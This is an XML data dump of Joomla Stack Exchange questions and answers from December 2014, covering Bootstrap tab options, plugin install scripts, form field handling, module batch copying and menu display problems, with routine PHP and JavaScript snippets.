  <row Id="5675" PostTypeId="1" AcceptedAnswerId="5678" CreationDate="2014-12-14T15:33:03.407" Score="4" ViewCount="1752" Body="&lt;p&gt;According to &lt;a href=&quot;https://docs.joomla.org/J3.x:Using_the_JHtmlTabs_class_in_a_component&quot; rel=&quot;nofollow noreferrer&quot;&gt;Using the JHtmlTabs class in a component&lt;/a&gt;, several options may be specified for the tabs being rendered.  However, using the example, none of the events fire, and the neither the initial &quot;startOffset&quot; or &quot;useCookie&quot; are respected - the page behaves the same whether this code is there or not with no JS errors indicated.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$options = array(&#xA;    'onActive' =&amp;gt; 'function(title, description){&#xA;        console.info(&quot;Fired OnActive&quot;);                // Never fires&#xA;        description.setStyle(&quot;display&quot;, &quot;block&quot;);&#xA;        title.addClass(&quot;open&quot;).removeClass(&quot;closed&quot;);&#xA;    }',&#xA;    'onBackground' =&amp;gt; 'function(title, description){&#xA;        console.info(&quot;Fired OnBackground&quot;);            // Never fires&#xA;        description.setStyle(&quot;display&quot;, &quot;none&quot;);&#xA;        title.addClass(&quot;closed&quot;).removeClass(&quot;open&quot;);&#xA;    }',&#xA;    'startOffset' =&amp;gt; 4,                                // No tabs are active &#xA;    'useCookie' =&amp;gt; true,                               // Last active tab is not rememberd&#xA;    'active'    =&amp;gt; 'myTabName'                         // Not in docs, but DOES work&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Realization that I'm using the tabs with Bootstrap, the code is different for JHtml&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// This works, per the docs, and using `tabs.start`, etc.&#xA;echo JHtml::_('tabs.start', 'tab_group_id', $options);&#xA;echo JHtml::_('tabs.panel', JText::_('PANEL_1_TITLE'), 'panel_1_id');&#xA;echo 'Panel 1 content can go here.';&#xA;echo JHtml::_('tabs.panel', JText::_('PANEL_2_TITLE'), 'panel_2_id');&#xA;echo 'Panel 2 content can go here.';&#xA;echo JHtml::_('tabs.end');&#xA;&#xA;// This does NOT work, using `bootstrap.` &#xA;echo JHtml::_('bootstrap.startTabSet', 'tab_group_id', $options);&#xA;echo JHtml::_('bootstrap.addTab', JText::_('PANEL_1_TITLE'), 'panel_1_id');&#xA;echo 'Panel 1 content can go here.';&#xA;echo JHtml::_('bootstrap.endTab');&#xA;echo JHtml::_('bootstrap.addTab', JText::_('PANEL_2_TITLE'), 'panel_2_id');&#xA;echo 'Panel 2 content can go here.';&#xA;echo JHtml::_('bootstrap.endTab');&#xA;&#xA;echo JHtml::_('bootstrap.endTabSet');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Has anyone had any luck successfully working with &lt;code&gt;$options&lt;/code&gt; and Bootstrap??&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="9633" LastEditDate="2017-03-17T16:06:31.910" LastActivityDate="2018-06-05T15:15:46.350" Title="How do I set options for JHtmlTabs with Bootstrap" Tags="|cookies|jhtml|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5676" PostTypeId="2" ParentId="2178" CreationDate="2014-12-14T16:23:55.733" Score="0" Body="&lt;p&gt;I wanted to add my two-bits after the fact.  I've got a couple of scripts and style sheets that need to be loaded for every view that we have in the component, and wanted a single point to have that happen insuring also that they're loaded in the correct sequence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the file &lt;code&gt;components\myComponent\mycomponent.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;// Include dependancies&#xA;jimport('joomla.application.component.controller');&#xA;&#xA;JHtml::stylesheet('http://maxcdn.bootstrapcdn.com/font-awesome/4.2.0/css/font-awesome.min.css', array(), true);&#xA;JHtml::stylesheet('components/com_mycomponent/assets/css/mycomponent.css');&#xA;&#xA;JHtml::_('jquery.framework');   // Make sure jQuery is loaded before component JS&#xA;JHtml::script( 'components/mycomponent/assets/js/jquery.cookie.js');&#xA;&#xA;// Execute the task.&#xA;$controller = JControllerLegacy::getInstance('Mycomponent');&#xA;$controller-&amp;gt;execute(JFactory::getApplication()-&amp;gt;input-&amp;gt;get('task'));&#xA;$controller-&amp;gt;redirect();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2014-12-14T18:15:12.587" LastActivityDate="2014-12-14T18:15:12.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5678" PostTypeId="2" ParentId="5675" CreationDate="2014-12-14T18:02:11.167" Score="2" Body="&lt;p&gt;This is not an answer to the question, but is a solution to the problem that prompted the question using the jQuery &lt;a href=&quot;https://github.com/carhartl/jquery-cookie/blob/v1.4.1/jquery.cookie.js&quot; rel=&quot;nofollow&quot;&gt;Cookie Plugin&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($) {&#xA;    var listItems = $(&quot;#tab_group_idTabs li&quot;);&#xA;    var prefix = 'myID-';&#xA;    listItems.each(function(li) {&#xA;        var a = $(this).children().first(&quot;a&quot;);&#xA;        var word = a.attr('href').replace('#','');&#xA;        a.attr('id',prefix+'A-' + word);    // Add an ID to the A&#xA;        a.addClass('myTabClass');           // Add a dashboard class to the A&#xA;    });&#xA;&#xA;    var activeTab = $.cookie(&quot;activeTab&quot;);  // Get the last active tab for the page&#xA;    if(activeTab === undefined){&#xA;        var activeTab = &quot;#myID-A-tab3&quot;;     // Specify the default Tab ID here&#xA;    }&#xA;    $.cookie(&quot;activeTab&quot;, activeTab);       // Store the last active tab&#xA;    $(activeTab).click();                   // Activate the active tab&#xA;&#xA;    $(&quot;.myTabClass&quot;).click(function(){      // Click event to store last active tab&#xA;        var clickedTab = '#'+$(this).attr('id');&#xA;        $.cookie(&quot;activeTab&quot;, clickedTab);&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-12-14T18:02:11.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5679" PostTypeId="2" ParentId="5189" CreationDate="2014-12-14T22:48:23.780" Score="1" Body="&lt;p&gt;Configure the &quot;System - Debug&quot; plugin to log category jerror, to show log entries and enable debug in Global Configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try accessing the missing component.&#xA;Click on Log messages and it will tell you which component is missing.&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2014-12-14T22:48:23.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5681" PostTypeId="2" ParentId="4442" CreationDate="2014-12-15T14:18:08.827" Score="4" Body="&lt;p&gt;This is to clear any misconception about having a self-referenced &lt;strong&gt;Canonical Link Element&lt;/strong&gt;, as using one is not an issue, and how could it be - to say that the page you are viewing at this url is actually the one you mean to display (??)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google is perfectly fine with this. As far as I know, it only Bing that has a recommendation to avoid using self-referencing canonical urls, but even if it exists it won't make the page not indexable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Canonical URLs is not the reason that some of your pages have not been indexed by Google. If that was true, then none of your pages should have been indexed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google will not guarantee that will index all the pages of a website in a given time period.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&#xA;&lt;strong&gt;This might be of help about Canonical Links:&lt;/strong&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://youtu.be/Cm9onOGTgeM?t=17m20s&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Matt Cutts of Google introduces the canonical link element.&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-12-17T14:46:50.350" LastActivityDate="2014-12-17T14:46:50.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5682" PostTypeId="1" CreationDate="2014-12-15T15:39:53.953" Score="1" ViewCount="103" Body="&lt;p&gt;I'm working on a Joomla site and for some reason my site quit knowing it was logged in on the default page. Other pages still know that I'm logged in. Even the default page knows I'm logged in if I include index.php in the url. For example, &lt;code&gt;http://mysite/proj/index.php#home1&lt;/code&gt; works but &lt;code&gt;http://mysite/proj/#home1&lt;/code&gt; does not. I know this was working a few days ago but it has stopped working for some reason and I have no idea why. I've tried restoring to a point a few days ago and that has not worked but since I have no idea why this is happening it is difficult to even know how far back I need to go or weather this is even due to something I've change with the file system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is really not much to go on. I can tell you that neither the PHP log or the Joomla logs are reporting anything. I have only one cookie set for the domain and it is for the root and appears to only contain a session ID type hash string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After restoring a from the nightly backup made last night my site is suddenly working properly again. Unfortunately, as far as I can tell this is the exact same setup I was using this morning which wasn't working. So now the nature of this question has changed slightly. Now I'm just looking for some sort of explanation as to how this could happen so that I can prevent it from happening again in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, while this was broken I had tried loading the page from IE and Chrome on several machines on several networks (internal, external and my home). All produced the same error so I doubt this is a client issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, when I viewed the source the jmoddiv were all empty so this is probably not a style issue either (IOW, they weren't hidden).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I forgot to mention that I'm on Windows (I know, I don't like it either but despite my objections this isn't going to change) using IIS5. So I'm not using mod_rewrite or .htaccess  files.&lt;/p&gt;&#xA;" OwnerUserId="3363" OwnerDisplayName="krowe2" LastEditorUserId="3363" LastEditDate="2014-12-15T18:31:11.207" LastActivityDate="2014-12-15T18:31:11.207" Title="Joomla doesn't know I'm logged in on homepage" Tags="|authentication|iis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5683" PostTypeId="2" ParentId="5660" CreationDate="2014-12-15T17:40:49.323" Score="1" Body="&lt;p&gt;Finally I found athe error!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I discovered that two lines were side by side accidentally. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;TPL_MY_TEMPLATE_TITLE_1 = &quot;Title 1&quot;TPL_MY_TEMPLATE_TITLE_2 = &quot;Title 2&quot;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After hitting enter key the problem has gone. I must confess that I have seen the problem using language debugging. I did not know language debugging until Lodder suggested. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="440" LastActivityDate="2014-12-15T17:40:49.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5684" PostTypeId="2" ParentId="5682" CreationDate="2014-12-15T17:48:54.977" Score="2" Body="&lt;p&gt;This sounds like it could have been an issue with &lt;code&gt;.htaccess&lt;/code&gt; and/or URL Rewriting (in System -&gt; Global Configuration).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure URL Rewriting is set to &quot;Yes&quot;, that you have renamed &lt;code&gt;htaccess.txt&lt;/code&gt; to &lt;code&gt;.htaccess&lt;/code&gt;, and that the following lines are set correctly in &lt;code&gt;.htaccess&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;## Can be commented out if causes errors, see notes above.&#xA;Options +FollowSymLinks&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Leave the code above activated (not commented out) unless you're getting &lt;code&gt;500 Server error&lt;/code&gt; messages)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Uncomment following line if your webserver's URL&#xA;# is not directly related to physical file paths.&#xA;# Update Your Joomla! Directory (just / for root).&#xA;##&#xA;&#xA;# RewriteBase /&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Try uncommenting &lt;code&gt;RewriteBase /&lt;/code&gt;. Don't make any other changes unless you have installed Joomla in a subdirectory of your domain. If that's the case, add your subdirectory after the &lt;code&gt;/&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you still have a copy of the website causing the error, try comparing the &lt;code&gt;.htaccess&lt;/code&gt; file with the one that's working now.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-12-15T17:48:54.977" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5685" PostTypeId="1" AcceptedAnswerId="5686" CreationDate="2014-12-15T19:46:23.993" Score="3" ViewCount="276" Body="&lt;p&gt;I often use the batch tool to copy and set the correct language for my categories, articles and menu items when building a multi-lingual website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I try the same thing with modules, the language is set correctly, but on the ORIGINAL module, and no copy is created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can use the &quot;Duplicate&quot; button, but the copies are all un-published, and I have to edit each of them to set the correct language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z2KDd.jpg&quot; alt=&quot;Batch copy&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1723" LastEditorUserId="1629" LastEditDate="2014-12-15T19:52:14.757" LastActivityDate="2014-12-15T19:52:14.757" Title="Module batch copy not working" Tags="|joomla-3.x|module|batch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5686" PostTypeId="2" ParentId="5685" CreationDate="2014-12-15T19:51:44.207" Score="1" Body="&lt;p&gt;What you're missing is part of the text below the title:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When copying and not changing position, it is nevertheless necessary to select 'Keep Original Position' in the dropdown&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That means you have to select &quot;Keep Original Position&quot; in the &quot;Set Position&quot; dropdown. It's easy to miss because other elements like category and articles does have this option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The copied modules will still be set to &quot;Unpublished&quot;, but the language will be correctly set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-12-15T19:51:44.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5687" PostTypeId="1" AcceptedAnswerId="5689" CreationDate="2014-12-16T00:40:18.187" Score="8" ViewCount="1927" Body="&lt;p&gt;I am creating a plugin and am attempting to run a script after it is installed. For whatever reason, it appears the script file is loading, but my code is never run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My script.php file contains the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// No direct access&#xA;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;/**&#xA; * Script file for the plg_system_example plugin    &#xA; */&#xA;class plg_system_notifierInstallerScript{&#xA;&#xA;  /**&#xA;   * Method to run after the plugin install, update, or discover_update actions have completed.&#xA;   *&#xA;   * @return void&#xA;   */&#xA;  function postflight($type,$parent){&#xA;    // For Testing Purposes&#xA;    die('Hello World');&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried to use a number of different derivations of the class name with no luck. If I place a die() statement outside of the class, it is run, which leads me to believe that the file is loaded. I have also tried other methods, such as install() without success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I had actual code in place of the die() statement, but have switched to this in the course of debugging this issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong that Joomla! is not calling the postflight() method in my class on install?&lt;/p&gt;&#xA;" OwnerUserId="32" LastActivityDate="2018-12-21T21:26:09.847" Title="Script not running on plugin installation" Tags="|joomla-3.x|plugin|extensions|installation|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5689" PostTypeId="2" ParentId="5687" CreationDate="2014-12-16T01:27:28.563" Score="8" Body="&lt;p&gt;Did you try the class name without underscores?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;plgSystemNotifierInstallerScript&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(or possibly &quot;plgSystemnotifierInstallerScript&quot; not sure)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That seems to be the format the two plugins I checked use.&lt;/p&gt;&#xA;" OwnerUserId="2309" LastActivityDate="2014-12-16T01:27:28.563" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5690" PostTypeId="1" AcceptedAnswerId="5691" CreationDate="2014-12-16T03:24:42.160" Score="3" ViewCount="1886" Body="&lt;p&gt;Good Day guys,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this code right here in javascript on hiding/showing an input field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function HideShow()&#xA;{&#xA;    var Type = document.getElementById(&quot;jform_subscription_type&quot;);&#xA;&#xA;    if(Type.value==&quot;RDS&quot;)&#xA;    {&#xA;        var x = document.getElementById(&quot;jform_frequency&quot;).style.display = 'block';         &#xA;    }&#xA;    else&#xA;    {&#xA;        var y =document.getElementById(&quot;jform_frequency&quot;).style.display = 'none';           &#xA;    }   &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now this code works well. But in my form, it becomes like this: &lt;img src=&quot;https://i.stack.imgur.com/kXGDb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the input field is getting doubled. When I remove this code below in my form, my javascript code does not work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;control-label&quot;&amp;gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getLabel('frequency'); ?&amp;gt;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;controls&quot;&amp;gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('frequency'); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do i make it such that my javascript code hides the input for frequency with the code above?&lt;/p&gt;&#xA;" OwnerUserId="2308" LastActivityDate="2014-12-16T06:24:15.257" Title="How to hide/show input fields in form?" Tags="|joomla-3.x|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5691" PostTypeId="2" ParentId="5690" CreationDate="2014-12-16T04:21:27.230" Score="4" Body="&lt;p&gt;I got the answer. I just need to set an ID to the div containing the input field I want to hide and show:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   &amp;lt;div class=&quot;control-group&quot; id =&quot;freq&quot; style = &quot;display:none&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;control-label&quot;&amp;gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getLabel('frequency'); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;controls&quot;&amp;gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('frequency'); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then on my javascript function, instead of the field itself, I will use the div Id.&lt;/p&gt;&#xA;" OwnerUserId="2308" LastEditorUserId="2308" LastEditDate="2014-12-16T06:24:15.257" LastActivityDate="2014-12-16T06:24:15.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5692" PostTypeId="1" AcceptedAnswerId="5694" CreationDate="2014-12-16T07:51:08.573" Score="3" ViewCount="3000" Body="&lt;p&gt;I have a form with the dynamically generated XML and by dynamically, it was programmatically created during getForm function. I want to save the value I selected as a key:value pair to be stored in a table column:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name =&quot;frequency&quot; type=&quot;list&quot;&#xA;    label=&quot;Frequency&quot;&#xA;        description=&quot;Frequency of sending report subscribed.&quot;&#xA;        option_on =&quot;Yes&quot;&#xA;        option_off =&quot;Yes&quot;&#xA;        multiple=&quot;true&quot;&#xA;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now it enables multiple selection, but when I save the form, the values I selected did not reflect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this as reference:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/2407284/how-to-get-multiple-selected-values-of-select-box-in-php&quot;&gt;https://stackoverflow.com/questions/2407284/how-to-get-multiple-selected-values-of-select-box-in-php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But my objective is to save the selected values. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1cFG0.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;What could be wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image above displays the custom field I created. However, those that I have selected &quot;one&quot; and &quot;three&quot; are not saved in the database.&lt;/p&gt;&#xA;" OwnerUserId="2308" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2014-12-16T09:32:36.150" Title="How can I save multiple values selected in a list?" Tags="|joomla-3.x|javascript|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5693" PostTypeId="2" ParentId="5480" CreationDate="2014-12-16T08:18:46.397" Score="3" Body="&lt;p&gt;&lt;strong&gt;XML file&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset name=&quot;brand_params&quot; addfieldpath=&quot;/modules/mod_manufacturers/fields&quot; &amp;gt;    &#xA;    &amp;lt;field name=&quot;foreignmanuf&quot;&#xA;           type=&quot;Manulist&quot;&#xA;           label=&quot;Foreign Brands&quot;&#xA;           multiple=&quot;true&quot;&#xA;           description=&quot;Foreign Cologne Brands&quot; /&amp;gt;`&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now to create a custom field type:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;mod_manufacturers/fields/manulist.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php    &#xA;defined('JPATH_PLATFORM') or die;&#xA;JFormHelper::loadFieldClass('list');&#xA;class JFormFieldManulist extends JFormFieldList&#xA;{&#xA;    protected $type = 'Manulist';&#xA;&#xA;    protected function getOptions()&#xA;    {&#xA;        $db= JFactory::getDbo();&#xA;        $query = $db-&amp;gt;getQuery(true)&#xA;                    -&amp;gt;select('*')&#xA;                    -&amp;gt;from('#__virtuemart_manufacturers_en_gb'); &#xA;        $db-&amp;gt;setQuery($query);&#xA;        $items = $db-&amp;gt;loadObjectList();&#xA;&#xA;        $options = array();&#xA;        if ($items)&#xA;        {&#xA;            foreach($items as $item)&#xA;            {&#xA;                $options[] = JHtml::_('select.option', $item-&amp;gt;virtuemart_manufacturer_id, $item-&amp;gt;mf_name, $item-&amp;gt;slug);&#xA;            }&#xA;        }&#xA;&#xA;        return array_merge(parent::getOptions(), $options);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;mod_manufacturers.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$imagemanuf = $params-&amp;gt;get('manufimages');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now all the parameters are stored in &lt;code&gt;$imagemanuf&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the module, parse them like this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Note from the editor (mickmackusa), the following code snippet has typographical and logical faults and therefore should not be used by researchers in its current form.  I was unable to repair the code without breaching fair editor practices.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;tmpl/default.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for ($i=0;$i&amp;lt;$imagecount;$i++) {&#xA;  $id=$imagemanuf[$i];&#xA;  $db= JFactory::getDbo();&#xA;    $ready = $db-&amp;gt;getQuery(true);&#xA;    $query=&quot;SELECT file_url FROM #__virtuemart_medias  WHERE virtuemart_media_id = (&#xA;    SELECT virtuemart_media_id from #__virtuemart_manufacturer_medias where virtuemart_manufacturer_id = $id )&quot;;&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $options=$db-&amp;gt;loadObjectList();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2225" LastEditorUserId="12352" LastEditDate="2019-06-10T13:24:20.020" LastActivityDate="2019-06-10T13:24:20.020" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="5694" PostTypeId="2" ParentId="5692" CreationDate="2014-12-16T09:32:36.150" Score="2" Body="&lt;p&gt;I was able to resolve this issue with the ff. code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mydata = JFactory::getApplication()-&amp;gt;input-&amp;gt;get('jform', array(), 'array');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I found out that I do not need to check the field if it is an array or not, I have created an blank array&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$fils[$new_filter['name']] = $mydata[$new_filter['name']];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;from the code above, this is the interpretation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$fils['frequency'] = $mydata['frequency']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the variable $mydata['frequency'] automatically contains the multiple values I selected from the dropdown which has an attribute     multiple = &quot;true&quot; in the XML file.&lt;/p&gt;&#xA;" OwnerUserId="2308" LastActivityDate="2014-12-16T09:32:36.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5695" PostTypeId="2" ParentId="3570" CreationDate="2014-12-16T14:57:40.653" Score="0" Body="&lt;p&gt;To get around this you have to create a &quot;Single article&quot; menu item. This can be in a hidden menu, and does not need to be visible to users. The layout of this menu item will then be used to display the articles. Simply make sure any modules you DON'T want to display with your article are unpublished for this particular menu item.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-12-16T14:57:40.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5696" PostTypeId="1" AcceptedAnswerId="5715" CreationDate="2014-12-16T15:11:01.217" Score="5" ViewCount="206" Body="&lt;p&gt;I'm a beginner with joomla. In fact its my first website using it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, so I added a module (&lt;a href=&quot;https://github.com/joomdigi/mod_bootstrapnav&quot; rel=&quot;nofollow&quot;&gt;mod_bootstrapnav&lt;/a&gt;) so I can use my menu with bootstrap. It is working fine, the problem is that I have a sub menu of a sub menu and it doesn't display correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take this example as menu:&#xA;&lt;code&gt;&#xA;- Home&#xA;- About 1&#xA;- - About 2&#xA;- - - About 3 &#xA;- Contact&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I have &lt;code&gt;About 3&lt;/code&gt; inside &lt;code&gt;About 2&lt;/code&gt; which is inside &lt;code&gt;About 1&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It displays fine the &lt;code&gt;About 2&lt;/code&gt; when I dont add the &lt;code&gt;3rd&lt;/code&gt;. When I add &lt;code&gt;About 3&lt;/code&gt; what happens is that &lt;code&gt;About 2&lt;/code&gt; displays into the Main Menu, basically it displays like the above:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;- Home&#xA;- About 1&#xA;- - About 2&#xA;- About 2&#xA;- - About 3 &#xA;- Contact&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason &lt;code&gt;About 2&lt;/code&gt; goes outside displaying as parent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the problem? Anyone experienced this?&lt;/p&gt;&#xA;" OwnerUserId="3371" LastEditorUserId="126" LastEditDate="2016-01-22T00:05:49.683" LastActivityDate="2016-01-22T00:05:49.683" Title="Joomla using bootstrap (mod_bootstrapnav) menu issue" Tags="|joomla-2.5|menu|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
